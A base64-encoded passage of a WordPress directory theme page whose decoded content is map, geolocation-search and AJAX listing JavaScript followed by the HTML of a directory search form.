GluZyh0cnVlKTsKCgkJaWYgKG5hdmlnYXRvci5nZW9sb2NhdGlvbikgewoJCQluYXZpZ2F0b3IuZ2VvbG9jYXRpb24uZ2V0Q3VycmVudFBvc2l0aW9uKGZ1bmN0aW9uKHBvc2l0aW9uKSB7CgoJCQkJZ2VvSW5wdXRMYXQudmFsKHBvc2l0aW9uLmNvb3Jkcy5sYXRpdHVkZSk7CgkJCQlnZW9JbnB1dExuZy52YWwocG9zaXRpb24uY29vcmRzLmxvbmdpdHVkZSk7CgoJCQkJZW5hYmxlR2VvKCk7CgoJCQkJaWYoc2VhcmNoLmRhdGEoJ2ludGVyYWN0aXZlJykgPT0gJ3llcycpewoJCQkJCWFqYXhHZXRNYXJrZXJzKHRydWUsZmFsc2UpOwoJCQkJfSBlbHNlIHsKCQkJCQloaWRlTG9hZGluZygpOwoJCQkJfQoKCQkJfSwgZnVuY3Rpb24oZXJyb3IpewoJCQkJZGlzYWJsZUdlbygpOwoJCQkJaGlkZUxvYWRpbmcoKTsKCQkJfSk7CgkJfSBlbHNlIHsKCQkJZGlzYWJsZUdlbygpOwoJCQloaWRlTG9hZGluZygpOwoJCX0KCgl9IGVsc2UgewoKCQlpZihzZWFyY2guZGF0YSgnaW50ZXJhY3RpdmUnKSA9PSAneWVzJyl7CgkJCWFqYXhHZXRNYXJrZXJzKHRydWUsZmFsc2UpOwoJCX0KCgl9Cgp9KTsKCmZ1bmN0aW9uIGFqYXhHZXRNYXJrZXJzKGFqYXgsZ2VvbG9jLHJld3JpdGVDYXRlZ29yeSxyZXdyaXRlTG9jYXRpb24scmVzZXQpIHsKCglzaG93TG9hZGluZygpOwoKCXJhZGl1cyA9IG5ldyBBcnJheSgpOwoKCXZhciBjYXRlZ29yeSA9IDA7Cgl2YXIgbG9jYXRpb24gPSAwOwoJdmFyIHNlYXJjaCA9ICcnOwoJdmFyIGxvY2FsZSA9ICdlbic7CgoJaWYoYWpheCl7CgkJaWYocmV3cml0ZUNhdGVnb3J5KXsKCQkJY2F0ZWdvcnkgPSByZXdyaXRlQ2F0ZWdvcnk7CgkJfSBlbHNlIHsKCQkJY2F0ZWdvcnkgPSAkKCcjZGlyLXNlYXJjaGlucHV0LWNhdGVnb3J5LWlkJykudmFsKCk7CgkJfQoJCWlmKHJld3JpdGVMb2NhdGlvbil7CgkJCWxvY2F0aW9uID0gcmV3cml0ZUxvY2F0aW9uOwoJCX0gZWxzZSB7CgkJCWxvY2F0aW9uID0gJCgnI2Rpci1zZWFyY2hpbnB1dC1sb2NhdGlvbi1pZCcpLnZhbCgpOwoJCX0KCQlzZWFyY2ggPSAkKCcjZGlyLXNlYXJjaGlucHV0LXRleHQnKS52YWwoKTsKCgkJdmFyIGFqYXhHZW8gPSAkKCcjZGlyLXNlYXJjaGlucHV0LWdlbycpLmF0dHIoImNoZWNrZWQiKTsKCgkJaWYoYWpheEdlbyAmJiAhcmVzZXQpewoJCQl2YXIgaW5wdXRSYWRpdXMgPSBnZW9JbnB1dFJhZGl1cy52YWwoKTsKCQkJaWYoIWlzTmFOKGlucHV0UmFkaXVzKSl7CgkJCQlyYWRpdXMucHVzaChwYXJzZUludChpbnB1dFJhZGl1cykpOwoJCQl9IGVsc2UgewoJCQkJZ2VvSW5wdXRSYWRpdXMudmFsKGdlb0lucHV0UmFkaXVzLmRhdGEoJ2RlZmF1bHQtdmFsdWUnKSk7CgkJCQlyYWRpdXMucHVzaChwYXJzZUludChnZW9JbnB1dFJhZGl1cy5kYXRhKCdkZWZhdWx0LXZhbHVlJykpKTsKCQkJfQoJCQlyYWRpdXMucHVzaChwYXJzZUZsb2F0KGdlb0lucHV0TGF0LnZhbCgpKSk7CgkJCXJhZGl1cy5wdXNoKHBhcnNlRmxvYXQoZ2VvSW5wdXRMbmcudmFsKCkpKTsKCQl9Cgl9IGVsc2UgewoJCWlmKHJlc2V0KXsKCQkJY2F0ZWdvcnkgPSBwYXJzZUludChtYXBEaXYuZGF0YSgnY2F0ZWdvcnknKSk7CgkJCWxvY2F0aW9uID0gcGFyc2VJbnQobWFwRGl2LmRhdGEoJ2xvY2F0aW9uJykpOwoJCQlzZWFyY2ggPSBtYXBEaXYuZGF0YSgnc2VhcmNoJyk7CgkJfSBlbHNlIHsKCQkJaWYoZ2VvbG9jKXsKCQkJCXJhZGl1cy5wdXNoKHBhcnNlSW50KCkpOwoJCQkJcmFkaXVzLnB1c2goZ2VvbG9jLmxhdCgpKTsKCQkJCXJhZGl1cy5wdXNoKGdlb2xvYy5sbmcoKSk7CgoJCQkJY2F0ZWdvcnkgPSBwYXJzZUludChtYXBEaXYuZGF0YSgnY2F0ZWdvcnknKSk7CgkJCQlsb2NhdGlvbiA9IHBhcnNlSW50KG1hcERpdi5kYXRhKCdsb2NhdGlvbicpKTsKCQkJCXNlYXJjaCA9IG1hcERpdi5kYXRhKCdzZWFyY2gnKTsKCQkJfQoJCX0KCX0KCS8vIGdldCBpdGVtcyBmcm9tIGFqYXgKCSQucG9zdCgKCQkvLyBNeUFqYXggZGVmaW5lZCBpbiBmdW5jdGlvbnMucGhwCgkJTXlBamF4LmFqYXh1cmwsCgkgICAgewoJICAgICAgICBhY3Rpb24gOiAnZ2V0X2l0ZW1zJywKCSAgICAgICAgY2F0ZWdvcnkgOiBjYXRlZ29yeSwKCSAgICAgICAgbG9jYXRpb24gOiBsb2NhdGlvbiwKCSAgICAgICAgc2VhcmNoIDogc2VhcmNoLAoJICAgICAgICByYWRpdXMgOiByYWRpdXMsCgkgICAgICAgIHdwbWxfbGFuZyA6IGxvY2FsZQoJICAgIH0sCgkgICAgZnVuY3Rpb24oIHJlc3BvbnNlICkgewoJICAgIAkvLyBzaG93IHJlc2V0IGFqYXggYnV0dG9uCgkgICAgCWlmKCghcmVzZXQpICYmICghZ2VvbG9jKSAmJiAoJCgnI2RpcmVjdG9yeS1zZWFyY2gnKS5kYXRhKCdpbnRlcmFjdGl2ZScpID09ICd5ZXMnKSl7CgkgICAgCQkkKCcjZGlyZWN0b3J5LXNlYXJjaCAucmVzZXQtYWpheCcpLnNob3coKTsKCSAgICAJfQoJICAgIAlpZihhamF4R2VvICYmICFyZXNldCl7CgkgICAgCQl2YXIgYWpheEdlb09iaiA9IG5ldyBnb29nbGUubWFwcy5MYXRMbmcocGFyc2VGbG9hdChnZW9JbnB1dExhdC52YWwoKSkscGFyc2VGbG9hdChnZW9JbnB1dExuZy52YWwoKSkpOwoJICAgIAkJZ2VuZXJhdGVNYXJrZXJzKHJlc3BvbnNlLGFqYXhHZW9PYmosdHJ1ZSk7CgkgICAgCX0gZWxzZSB7CgkgICAgCQlnZW5lcmF0ZU1hcmtlcnMocmVzcG9uc2UsZ2VvbG9jKTsKCSAgICAJfQoJICAgIH0KCSkKCS5mYWlsKGZ1bmN0aW9uKGUpIHsgY29uc29sZS5sb2coIkFKQVggRVJST1IiLCBlKTsgfSk7Cn0KCmZ1bmN0aW9uIGdlbmVyYXRlTWFya2VycyhkYXRhUmF3LGdlb2xvYyxhamF4R2VvKSB7CgoJLy8gY2xlYXIgbWFwCglpbmZvYm94LmNsb3NlKCk7CgltYXBEaXYuZ21hcDMoeyBjbGVhcjogeyB9IH0pOwoKCW1hcC5zZXRab29tKDEwKTsKCgl2YXIgbGVuID0gJC5tYXAoZGF0YVJhdywgZnVuY3Rpb24obiwgaSkgeyByZXR1cm4gaTsgfSkubGVuZ3RoOwoKCXZhciBpID0gMDsKCS8vIHByZXBhcmUgZGF0YQoJdmFyIGRhdGEgPSBuZXcgQXJyYXkoKTsKCWZvcih2YXIga2V5IGluIGRhdGFSYXcpewoJCWlmICghKGRhdGFSYXdba2V5XS5vcHRpb25zRGlyWydncHNMYXRpdHVkZSddID09ICIwIiAmJiBkYXRhUmF3W2tleV0ub3B0aW9uc0RpclsnZ3BzTG9uZ2l0dWRlJ10gPT0gIjAiKSkgewoJCQl2YXIgcmF0aW5nID0gJyc7CgkJCWlmKGRhdGFSYXdba2V5XS5yYXRpbmcpewoJCQkJcmF0aW5nICs9ICc8ZGl2IGNsYXNzPSJyYXRpbmciPic7CgkJCQlmb3IgKHZhciBqID0gMTsgaiA8PSBkYXRhUmF3W2tleV0ucmF0aW5nWydtYXgnXTsgaisrKSB7CgkJCQkJcmF0aW5nICs9ICc8ZGl2IGNsYXNzPSJzdGFyJzsKCQkJCQlpZihqIDw9IGRhdGFSYXdba2V5XS5yYXRpbmdbJ3ZhbCddKSB7CgkJCQkJCXJhdGluZyArPSAnIGFjdGl2ZSc7CgkJCQkJfQoJCQkJCXJhdGluZyArPSAnIj48L2Rpdj4nOwoJCQkJfQoJCQkJcmF0aW5nICs9ICc8L2Rpdj4nOwoJCQl9CgoJCQl2YXIgdGh1bWJDb2RlID0gKGRhdGFSYXdba2V5XS50aW10aHVtYlVybCkgPyAnIHdpdGgtaW1hZ2UiPjxpbWcgc3JjPSInK2RhdGFSYXdba2V5XS50aW10aHVtYlVybCsnIiBhbHQ9IiIgLz4nIDogJyI+JzsKCQkJZGF0YVtpXSA9IHsKCQkJCWxhdExuZzogW2RhdGFSYXdba2V5XS5vcHRpb25zRGlyWydncHNMYXRpdHVkZSddLGRhdGFSYXdba2V5XS5vcHRpb25zRGlyWydncHNMb25naXR1ZGUnXV0sCgkJCQlvcHRpb25zOiB7CgkJCQkJaWNvbjogZGF0YVJhd1trZXldLm1hcmtlciwKCQkJCQlzaGFkb3c6ICJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9pbWcvbWFwLWljb24vaWNvbi1zaGFkb3cucG5nIiwKCQkJCX0sCgkJCQlkYXRhOiAnPGRpdiBjbGFzcz0ibWFya2VyLWhvbGRlciI+PGRpdiBjbGFzcz0ibWFya2VyLWNvbnRlbnQnK3RodW1iQ29kZSsnPGRpdiBjbGFzcz0ibWFwLWl0ZW0taW5mbyI+PGRpdiBjbGFzcz0idGl0bGUiPicrZGF0YVJhd1trZXldLnBvc3RfdGl0bGUrJzwvZGl2PicrcmF0aW5nKyc8ZGl2IGNsYXNzPSJhZGRyZXNzIj4nK2RhdGFSYXdba2V5XS5vcHRpb25zRGlyWyJhZGRyZXNzIl0rJzwvZGl2PjxhIGhyZWY9IicrZGF0YVJhd1trZXldLmxpbmsrJyIgY2xhc3M9Im1vcmUtYnV0dG9uIj5WSUVXIE1PUkU8L2E+PC9kaXY+PGRpdiBjbGFzcz0iYXJyb3ciPjwvZGl2PjwvZGl2PjwvZGl2PjwvZGl2PicKCQkJfTsKCQkJaSsrOwoJCX0KICAgIH0KCiAgICAvLyBzaG93IGdlb2xvYyBtYXJrZXIKICAgIGlmKGdlb2xvYyl7CiAgICAJbWFwRGl2LmdtYXAzKHsKCQkJbWFya2VyOiB7CiAgICAJCQlsYXRMbmc6IGdlb2xvYywKICAgIAkJCW9wdGlvbnM6IHsKICAgIAkJCQlhbmltYXRpb246IGdvb2dsZS5tYXBzLkFuaW1hdGlvbi5EUk9QLAogICAgCQkJCXpJbmRleDogMTAwMCwKICAgIAkJCQlpY29uOiAiaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vaW1nL2dlb2xvY2F0aW9uLXBpbi5wbmciCiAgICAJCQl9CiAgICAJCX0KICAgIAl9KTsKCX0KCgkvLyBnZW5lcmF0ZSBtYXJrZXJzIGluIG1hcAoJdmFyIG1hcE9iaiA9IHsKCQltYXJrZXI6IHsKCQkJdmFsdWVzOiBkYXRhLAoJCQlvcHRpb25zOnsKCQkJCWRyYWdnYWJsZTogZmFsc2UKCQkJfSwKCQkJY2x1c3Rlcjp7CgkJCQlyYWRpdXM6IDIwLAoJCQkJLy8gVGhpcyBzdHlsZSB3aWxsIGJlIHVzZWQgZm9yIGNsdXN0ZXJzIHdpdGggbW9yZSB0aGFuIDAgbWFya2VycwoJCQkJMDogewoJCQkJCWNvbnRlbnQ6ICI8ZGl2IGNsYXNzPSdjbHVzdGVyIGNsdXN0ZXItMSc+Q0xVU1RFUl9DT1VOVDwvZGl2PiIsCgkJCQkJd2lkdGg6IDkwLAoJCQkJCWhlaWdodDogODAKCQkJCX0sCgkJCQkvLyBUaGlzIHN0eWxlIHdpbGwgYmUgdXNlZCBmb3IgY2x1c3RlcnMgd2l0aCBtb3JlIHRoYW4gMjAgbWFya2VycwoJCQkJMjA6IHsKCQkJCQljb250ZW50OiAiPGRpdiBjbGFzcz0nY2x1c3RlciBjbHVzdGVyLTInPkNMVVNURVJfQ09VTlQ8L2Rpdj4iLAoJCQkJCXdpZHRoOiA5MCwKCQkJCQloZWlnaHQ6IDgwCgkJCQl9LAoJCQkJLy8gVGhpcyBzdHlsZSB3aWxsIGJlIHVzZWQgZm9yIGNsdXN0ZXJzIHdpdGggbW9yZSB0aGFuIDUwIG1hcmtlcnMKCQkJCTUwOiB7CgkJCQkJY29udGVudDogIjxkaXYgY2xhc3M9J2NsdXN0ZXIgY2x1c3Rlci0zJz5DTFVTVEVSX0NPVU5UPC9kaXY+IiwKCQkJCQl3aWR0aDogOTAsCgkJCQkJaGVpZ2h0OiA4MAoJCQkJfSwKCQkJCWV2ZW50czogewoJCQkJCWNsaWNrOiBmdW5jdGlvbihjbHVzdGVyKSB7CgkJCQkJCW1hcC5wYW5UbyhjbHVzdGVyLm1haW4uZ2V0UG9zaXRpb24oKSk7CgkJCQkJCW1hcC5zZXRab29tKG1hcC5nZXRab29tKCkgKyAyKTsKCQkJCQl9CgkJCQl9CiAgICAgICAgICAJfSwKCQkJZXZlbnRzOiB7CgkJCQljbGljazogZnVuY3Rpb24obWFya2VyLCBldmVudCwgY29udGV4dCl7CgkJCQkJbWFwLnBhblRvKG1hcmtlci5nZXRQb3NpdGlvbigpKTsKCgkJCQkJaW5mb2JveC5zZXRDb250ZW50KGNvbnRleHQuZGF0YSk7CgkJCQkJaW5mb2JveC5vcGVuKG1hcCxtYXJrZXIpOwoKCQkJCQkvLyBpZiBtYXAgaXMgc21hbGwKCQkJCQl2YXIgaVdpZHRoID0gMjYwOwoJCQkJCXZhciBpSGVpZ2h0ID0gMzAwOwoJCQkJCWlmKChtYXBEaXYud2lkdGgoKSAvIDIpIDwgaVdpZHRoICl7CgkJCQkJCXZhciBvZmZzZXRYID0gaVdpZHRoIC0gKG1hcERpdi53aWR0aCgpIC8gMik7CgkJCQkJCW1hcC5wYW5CeShvZmZzZXRYLDApOwoJCQkJCX0KCQkJCQlpZigobWFwRGl2LmhlaWdodCgpIC8gMikgPCBpSGVpZ2h0ICl7CgkJCQkJCXZhciBvZmZzZXRZID0gLShpSGVpZ2h0IC0gKG1hcERpdi5oZWlnaHQoKSAvIDIpKTsKCQkJCQkJbWFwLnBhbkJ5KDAsb2Zmc2V0WSk7CgkJCQkJfQoKCQkJCX0KCQkJfQoJCX0KCX07CgoJaWYoZ2VvbG9jKXsKCQlpZihhamF4R2VvKXsKCQkJdmFyIGlucHV0UmFkaXVzID0gZ2VvSW5wdXRSYWRpdXMudmFsKCk7CgkJCWlmKCFpc05hTihpbnB1dFJhZGl1cykpewoJCQkJdmFyIHJhZGl1c0luTSA9IHBhcnNlSW50KGdlb0lucHV0UmFkaXVzLnZhbCgpKSAqIDEwMDA7CgkJCX0gZWxzZSB7CgkJCQl2YXIgcmFkaXVzSW5NID0gcGFyc2VJbnQoZ2VvSW5wdXRSYWRpdXMuZGF0YSgnZGVmYXVsdC12YWx1ZScpKSAqIDEwMDA7CgkJCX0KCQkJLy8gYXV0b2ZpdCBieSBjaXJjbGUKCQkJbWFwT2JqLmNpcmNsZSA9IHsKCQkJCW9wdGlvbnM6IHsKCQkJCQljZW50ZXI6IGdlb2xvYywKCQkJCQlyYWRpdXMgOiByYWRpdXNJbk0sCgkJCQkJdmlzaWJsZSA6IHRydWUsCgkJCQkJZmlsbE9wYWNpdHkgOiAwLjE1LAoJCQkJCWZpbGxDb2xvciA6ICIjMmM4MmJlIiwKCQkJCQlzdHJva2VDb2xvciA6ICIjMmM4MmJlIgoJCQkJfQoJCQl9CgkJfSBlbHNlIHsKCQkJdmFyIHJhZGl1c0luTSA9IHBhcnNlSW50KCkgKiAxMDAwOwoJCQkvLyBhdXRvZml0IGJ5IGNpcmNsZQoJCQltYXBPYmouY2lyY2xlID0gewoJCQkJb3B0aW9uczogewoJCQkJCWNlbnRlcjogZ2VvbG9jLAoJCQkJCXJhZGl1cyA6IHJhZGl1c0luTSwKCQkJCQl2aXNpYmxlIDogZmFsc2UsCgkJCQkJZmlsbE9wYWNpdHkgOiAwLjE1LAoJCQkJCWZpbGxDb2xvciA6ICIjMmM4MmJlIiwKCQkJCQlzdHJva2VDb2xvciA6ICIjMmM4MmJlIgoJCQkJfQoJCQl9CgkJfQoJfQoKCWhpZGVMb2FkaW5nKCk7CgoJbWFwRGl2LmdtYXAzKCBtYXBPYmosICJhdXRvZml0IiApOwoKCWlmKGxlbiA9PSAxICYmICFnZW9sb2MpewoJCW1hcC5zZXRab29tKDEwKTsKCX0KCn0KCmZ1bmN0aW9uIGdlbmVyYXRlT25seUdlbyhsYXQsbG5nLHJhZGl1cykgewoJdmFyIGdlb2xvYyA9IG5ldyBnb29nbGUubWFwcy5MYXRMbmcocGFyc2VGbG9hdChsYXQpLHBhcnNlRmxvYXQobG5nKSk7CgkvLyBnZW5lcmF0ZSBnZW8gcGluCgltYXBEaXYuZ21hcDMoewoJCW1hcmtlcjogewoJCQlsYXRMbmc6IGdlb2xvYywKCQkJb3B0aW9uczogewoJCQkJYW5pbWF0aW9uOiBnb29nbGUubWFwcy5BbmltYXRpb24uRFJPUCwKCQkJCXpJbmRleDogMTAwMCwKCQkJCWljb246ICJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9pbWcvZ2VvbG9jYXRpb24tcGluLnBuZyIKCQkJfQoJCX0KCX0pOwoJLy8gZ2VuZXJhdGUgYW5kIGF1dG9maXQgYnkgY2lyY2xlCgl2YXIgbWFwT2JqID0ge307Cgl2YXIgcmFkaXVzSW5NID0gcGFyc2VJbnQocmFkaXVzKSAqIDEwMDA7CgkvLyBhdXRvZml0IGJ5IGNpcmNsZQoJbWFwT2JqLmNpcmNsZSA9IHsKCQlvcHRpb25zOiB7CgkJCWNlbnRlcjogZ2VvbG9jLAoJCQlyYWRpdXMgOiByYWRpdXNJbk0sCgkJCXZpc2libGUgOiB0cnVlLAoJCQlmaWxsT3BhY2l0eSA6IDAuMTUsCgkJCWZpbGxDb2xvciA6ICIjMmM4MmJlIiwKCQkJc3Ryb2tlQ29sb3IgOiAiIzJjODJiZSIKCQl9Cgl9CgltYXBEaXYuZ21hcDMoIG1hcE9iaiwgImF1dG9maXQiICk7Cn0KCnZhciBjb250ZW50RGl2ID0gJCgnI21haW4gI2NvbnRlbnQnKTsKdmFyIGN1cnJDb250ZW50ID0gY29udGVudERpdi5odG1sKCk7CnZhciBhamF4Q29udGVudDsKCmZ1bmN0aW9uIGdlbmVyYXRlQ29udGVudChkYXRhKSB7CgoJdmFyIGxlbmd0aCA9ICQubWFwKGRhdGEsIGZ1bmN0aW9uKG4sIGkpIHsgcmV0dXJuIGk7IH0pLmxlbmd0aDsKCgljb250ZW50RGl2LmZpbmQoJy5hamF4LWNvbnRlbnQnKS5yZW1vdmUoKTsKCXZhciB0aXRsZTsKCWlmKGxlbmd0aCA9PSAwKXsKCQl0aXRsZSA9ICQoJzxoZWFkZXIgY2xhc3M9ImVudHJ5LWhlYWRlciI+PC9oZWFkZXI+Jyk7Cgl9IGVsc2UgewoJCXRpdGxlID0gJCgnPGhlYWRlciBjbGFzcz0iZW50cnktaGVhZGVyIj48L2hlYWRlcj4nKTsKCX0KCgl2YXIgaHRtbDsKCWlmKGxlbmd0aCA+IDApewoJCWh0bWwgPSAkKCc8dWwgY2xhc3M9Iml0ZW1zIj48L3VsPicpOwoJfQoJdmFyIGxpbWl0ID0gMzA7CglpZihsaW1pdCA+IGxlbmd0aCkgewoJCWxpbWl0ID0gbGVuZ3RoOwoJfQoJdmFyIGkgPSAwOwoJZm9yKHZhciBrZXkgaW4gZGF0YSl7CgkJdmFyIHRodW1ibmFpbEh0bWw7CgkJaWYoZGF0YVtrZXldLnRpbXRodW1iVXJsQ29udGVudCl7CgkJCXZhciB0aHVtYm5haWxIdG1sID0gJzxkaXYgY2xhc3M9InRodW1ibmFpbCI+PGltZyBzcmM9IicrZGF0YVtrZXldLnRpbXRodW1iVXJsQ29udGVudCsnIiBhbHQ9Ikl0ZW0gdGh1bWJuYWlsIiAvPjxkaXYgY2xhc3M9ImNvbW1lbnQtY291bnQiPicrZGF0YVtrZXldLmNvbW1lbnRfY291bnQrJzwvZGl2PjwvZGl2Pic7CgkJfSBlbHNlIHsKCQkJdGh1bWJuYWlsSHRtbCA9ICcnOwoJCX0KCQl2YXIgcmF0aW5nID0gJyc7CgkJaWYoZGF0YVtrZXldLnJhdGluZyl7CgkJCXJhdGluZyArPSAnPHNwYW4gY2xhc3M9InJhdGluZyI+JzsKCQkJZm9yICh2YXIgaSA9IDE7IGkgPD0gZGF0YVtrZXldLnJhdGluZ1snbWF4J107IGkrKykgewoJCQkJcmF0aW5nICs9ICc8c3BhbiBjbGFzcz0ic3Rhcic7CgkJCQlpZihpIDw9IGRhdGFba2V5XS5yYXRpbmdbJ3ZhbCddKSB7CgkJCQkJcmF0aW5nICs9ICcgYWN0aXZlJzsKCQkJCX0KCQkJCXJhdGluZyArPSAnIj48L3NwYW4+JzsKCQkJfQoJCQlyYXRpbmcgKz0gJzwvc3Bhbj4nOwoJCX0KCQl2YXIgZGVzY3JpcHRpb25IdG1sID0gJzxkaXYgY2xhc3M9ImRlc2NyaXB0aW9uIj4nK2RhdGFba2V5XS5leGNlcnB0RGlyKyc8L2Rpdj4nOwoJCWh0bWwuYXBwZW5kKCc8bGkgY2xhc3M9Iml0ZW0gY2xlYXIiPicrdGh1bWJuYWlsSHRtbCtkZXNjcmlwdGlvbkh0bWwrJzwvbGk+Jyk7CgkJaWYoaSA8PSBsaW1pdCl7CgkJCWkrKzsKCQl9IGVsc2UgewoJCQlicmVhazsKCQl9Cgl9OwoJYWpheENvbnRlbnQgPSAkKCc8ZGl2IGNsYXNzPSJhamF4LWNvbnRlbnQiPjwvZGl2PicpLmh0bWwodGl0bGUpLmFwcGVuZChodG1sKTsKCWNvbnRlbnREaXYuZmluZCgnPicpLmhpZGUoKTsKCWNvbnRlbnREaXYuYXBwZW5kKGFqYXhDb250ZW50KTsKfQoKLy8gcmVzZXQgc2VhcmNoIGFqYXggdmFsdWVzCiQoJyNkaXJlY3Rvcnktc2VhcmNoIC5yZXNldC1hamF4JykuY2xpY2soZnVuY3Rpb24gKCkgewoKCS8vIGdldCBkZWZhdWx0IHZhbHVlcwoJYWpheEdldE1hcmtlcnMoZmFsc2UsZmFsc2UsZmFsc2UsZmFsc2UsdHJ1ZSk7CgoKCSQoJyNkaXItc2VhcmNoaW5wdXQtdGV4dCcpLnZhbCgiIik7CgkvLyBmb3IgSUUKCSQoJ3NwYW4uZm9yLWRpci1zZWFyY2hpbnB1dC10ZXh0IGxhYmVsJykuc2hvdygpOwoKCSQoJyNkaXItc2VhcmNoaW5wdXQtbG9jYXRpb24nKS52YWwoIiIpOwoJJCgnI2Rpci1zZWFyY2hpbnB1dC1sb2NhdGlvbi1pZCcpLnZhbCgiMCIpOwoJLy8gZm9yIElFCgkkKCdzcGFuLmZvci1kaXItc2VhcmNoaW5wdXQtY2F0ZWdvcnkgbGFiZWwnKS5zaG93KCk7CgoJJCgnI2Rpci1zZWFyY2hpbnB1dC1jYXRlZ29yeScpLnZhbCgiIik7CgkkKCcjZGlyLXNlYXJjaGlucHV0LWNhdGVnb3J5LWlkJykudmFsKCIwIik7CgkvLyBmb3IgSUUKCSQoJ3NwYW4uZm9yLWRpci1zZWFyY2hpbnB1dC1sb2NhdGlvbiBsYWJlbCcpLnNob3coKTsKCgkkKCcjZGlyLXNlYXJjaGlucHV0LWdlbycpLmF0dHIoJ2NoZWNrZWQnLGZhbHNlKTsKCSQoJ2Rpdi5pcGhvbmUtc3R5bGVbcmVsPWRpci1zZWFyY2hpbnB1dC1nZW9dJykucmVtb3ZlQ2xhc3MoJ29uJykuYWRkQ2xhc3MoJ29mZicpOwoKCS8vZ2VvSW5wdXRSYWRpdXMudmFsKGdlb0lucHV0UmFkaXVzLmRhdGEoJ2RlZmF1bHQtdmFsdWUnKSk7CgoJLy8gaGlkZSBjbG9zZSBpY29uCgkkKHRoaXMpLmhpZGUoKTsKfSk7Cn0pOwo8L3NjcmlwdD4KCQkJPGRpdiBpZD0iZGlyZWN0b3J5LXNlYXJjaCIgZGF0YS1pbnRlcmFjdGl2ZT0ibm8iPgoJCQkJPGRpdiBjbGFzcz0iZGVmYXVsdENvbnRlbnRXaWR0aCBjbGVhcmZpeCI+CgkJCQkJPGZvcm0gYWN0aW9uPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvIiBpZD0iZGlyLXNlYXJjaC1mb3JtIiBtZXRob2Q9ImdldCIgY2xhc3M9ImRpci1zZWFyY2hmb3JtIj4KCQkJCQkJPGRpdiBpZD0iZGlyLXNlYXJjaC1pbnB1dHMiPgoJCQkJCQkJPGRpdiBpZD0iZGlyLWhvbGRlciI+CgkJCQkJCQkJPGRpdiBjbGFzcz0iZGlyLWhvbGRlci13cmFwIj4KCQkJCQkJCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icyIgaWQ9ImRpci1zZWFyY2hpbnB1dC10ZXh0IiBwbGFjZWhvbGRlcj0iU2VhcmNoIGtleXdvcmQuLi4iIGNsYXNzPSJkaXItc2VhcmNoaW5wdXQiIC8+CgoJCQkJCQkJCTxkaXYgaWQ9ImRpci1zZWFyY2hpbnB1dC1zZXR0aW5ncyIgY2xhc3M9ImRpci1zZWFyY2hpbnB1dC1zZXR0aW5ncyI+CgkJCQkJCQkJCTxkaXYgY2xhc3M9Imljb24iPjwvZGl2PgoJCQkJCQkJCQk8ZGl2IGlkPSJkaXItc2VhcmNoLWFkdmFuY2VkIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiPgoJCQkJCQkJCQkJPGRpdiBjbGFzcz0idGV4dCI+U2VhcmNoIGFyb3VuZCBteSBwb3NpdGlvbjwvZGl2PgoJCQkJCQkJCQkJPGRpdiBjbGFzcz0idGV4dC1nZW8tcmFkaXVzIGNsZWFyIj4KCQkJCQkJCQkJCQk8ZGl2IGNsYXNzPSJnZW8tcmFkaXVzIj5SYWRpdXM6PC9kaXY+CgkJCQkJCQkJCQkJPGRpdiBjbGFzcz0ibWV0cmljIj5rbTwvZGl2PgoJCQkJCQkJCQkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJnZW8tcmFkaXVzIiBpZD0iZGlyLXNlYXJjaGlucHV0LWdlby1yYWRpdXMiIHZhbHVlPSIxMDAiIGRhdGEtZGVmYXVsdC12YWx1ZT0iMTAwIiAvPgoJCQkJCQkJCQkJPC9kaXY+CgkJCQkJCQkJCQk8ZGl2IGNsYXNzPSJnZW8tc2xpZGVyIj4KCQkJCQkJCQkJCQk8ZGl2IGNsYXNzPSJ2YWx1ZS1zbGlkZXIiPjwvZGl2PgoJCQkJCQkJCQkJPC9kaXY+CgkJCQkJCQkJCQk8ZGl2IGNsYXNzPSJnZW8tYnV0dG9uIj4KCQkJCQkJCQkJCQk8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImdlbyIgaWQ9ImRpci1zZWFyY2hpbnB1dC1nZW8iIC8+CgkJCQkJCQkJCQk8L2Rpdj4KCQkJCQkJCQkJCTxkaXYgaWQ9ImRpci1zZWFyY2gtYWR2YW5jZWQtY2xvc2UiPjwvZGl2PgoJCQkJCQkJCQk8L2Rpdj4KCQkJCQkJCQk8L2Rpdj4KCQkJCQkJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJnZW8tbGF0IiBpZD0iZGlyLXNlYXJjaGlucHV0LWdlby1sYXQiIHZhbHVlPSIwIiAvPgoJCQkJCQkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Imdlby1sbmciIGlkPSJkaXItc2VhcmNoaW5wdXQtZ2VvLWxuZyIgdmFsdWU9IjAiIC8+CgoJCQkJCQkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBpZD0iZGlyLXNlYXJjaGlucHV0LWNhdGVnb3J5IiBwbGFjZWhvbGRlcj0iQWxsIGNhdGVnb3JpZXMiIC8+CgkJCQkJCQkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNhdGVnb3JpZXMiIGlkPSJkaXItc2VhcmNoaW5wdXQtY2F0ZWdvcnktaWQiIHZhbHVlPSIwIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiIC8+CgoJCQkJCQkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBpZD0iZGlyLXNlYXJjaGlucHV0LWxvY2F0aW9uIiBwbGFjZWhvbGRlcj0iQWxsIGxvY2F0aW9ucyIgLz4KCQkJCQkJCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibG9jYXRpb25zIiBpZD0iZGlyLXNlYXJjaGlucHV0LWxvY2F0aW9uLWlkIiB2YWx1ZT0iMCIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7IiAvPgoKCQkJCQkJCQk8ZGl2IGNsYXNzPSJyZXNldC1hamF4Ij48L2Rpdj4KCQkJCQkJCQk8L2Rpdj4KCQkJCQkJCTwvZGl2PgoJCQkJCQk8L2R